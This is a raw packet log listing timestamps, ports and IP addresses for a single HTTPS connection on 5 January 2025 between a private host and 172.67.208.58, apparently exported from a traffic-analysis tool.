Jan 5, 2025 19:50:29.757711887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757725000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.757790089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757791042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.757798910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.797348976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.797369003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.797518969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.797528982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837492943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837508917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837564945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.837574005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837657928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837676048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837718964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.837724924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837743044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.837976933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.837995052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.838023901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.838031054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.838042974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.838294983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.838314056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.838346004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.838354111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.838366032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.843998909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844014883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844060898 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.844069004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844091892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.844261885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844281912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844307899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.844315052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844343901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.844532967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844547987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844578028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.844583988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.844594002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.887640953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.887664080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.887814999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.887814999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.887825966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924475908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924488068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924561024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924580097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924670935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.924670935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.924670935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.924680948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924818039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924832106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924864054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.924870014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.924895048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.924917936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.925091028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.925105095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.925154924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.925162077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.926117897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.930994034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931015015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931087017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931093931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931256056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931277990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931304932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931315899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931337118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931359053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931449890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931464911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931500912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931507111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.931518078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.931545019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.974699020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.974714994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.974812031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.974828959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.977041960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011244059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011260033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011334896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011344910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011499882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011504889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011512995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011537075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011554956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011563063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011583090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011598110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011744022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011760950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.011796951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.011805058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.012061119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.012079954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.012114048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.012121916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.012135983 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.012167931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.017770052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.017791986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.017860889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.017868042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018090963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018110991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018119097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.018131018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018157005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.018184900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.018373013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018387079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.018426895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.018434048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.022130966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.061445951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.061464071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.061532974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.061541080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.062242985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098304987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098324060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098431110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098468065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098504066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098504066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098515987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098530054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098567963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098582983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098614931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098620892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098649025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098865032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098886013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098922968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.098931074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.098942995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.104738951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.104753971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.104809046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.104820967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.104950905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.104969025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.105001926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.105006933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.105029106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.105209112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.105226994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.105300903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.105309010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.148257971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.148279905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.148353100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.148361921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185165882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185178041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185240984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.185254097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185270071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185286999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185338020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.185347080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185376883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.185626030 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185640097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185695887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.185703039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185821056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185838938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185869932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.185877085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.185888052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.191570997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191586018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191643000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.191654921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191801071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191819906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191853046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.191859961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.191896915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.192241907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.192255974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.192289114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.192295074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.192303896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.235203981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.235224009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.235408068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.235416889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272048950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272063971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272135019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272141933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272265911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272283077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272329092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272336006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272362947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272486925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272506952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272537947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272546053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272568941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272840023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272861958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272891998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.272897959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.272917032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.278428078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278445959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278486013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.278492928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278506994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.278721094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278739929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278769016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.278774977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.278791904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.279032946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.279047966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.279095888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.279103041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.322400093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.322419882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.322473049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.322483063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.322516918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359014988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359030962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359093904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359102011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359165907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359184980 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359213114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359220028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359244108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359430075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359442949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359496117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359503031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359515905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359714985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359733105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359775066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.359781981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.359792948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365345955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365360975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365420103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365428925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365451097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365617990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365638971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365664005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365669012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365701914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365880013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365894079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365926981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.365932941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.365959883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.409101009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.409121037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.409282923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.409291983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.445883036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.445898056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.445960045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.445967913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446171999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446197987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446238995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.446245909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446269035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.446430922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446449041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446485043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.446491957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446504116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.446726084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446749926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446779013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.446787119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.446798086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.452301025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452315092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452358961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.452366114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452496052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452514887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452548981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.452555895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452579021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.452857971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452872038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.452919006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.452925920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.496052027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.496068954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.496315956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.496323109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.532835007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.532851934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.532932997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.532944918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533025980 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533049107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533087969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.533094883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533122063 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.533309937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533324003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533354998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.533364058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533385038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.533613920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533632040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533660889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.533668995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.533679962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.539060116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539073944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539119005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.539127111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539346933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539362907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:30.539395094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:30.539402008 CET	443	49746	172.67.208.58	192.168.2.4
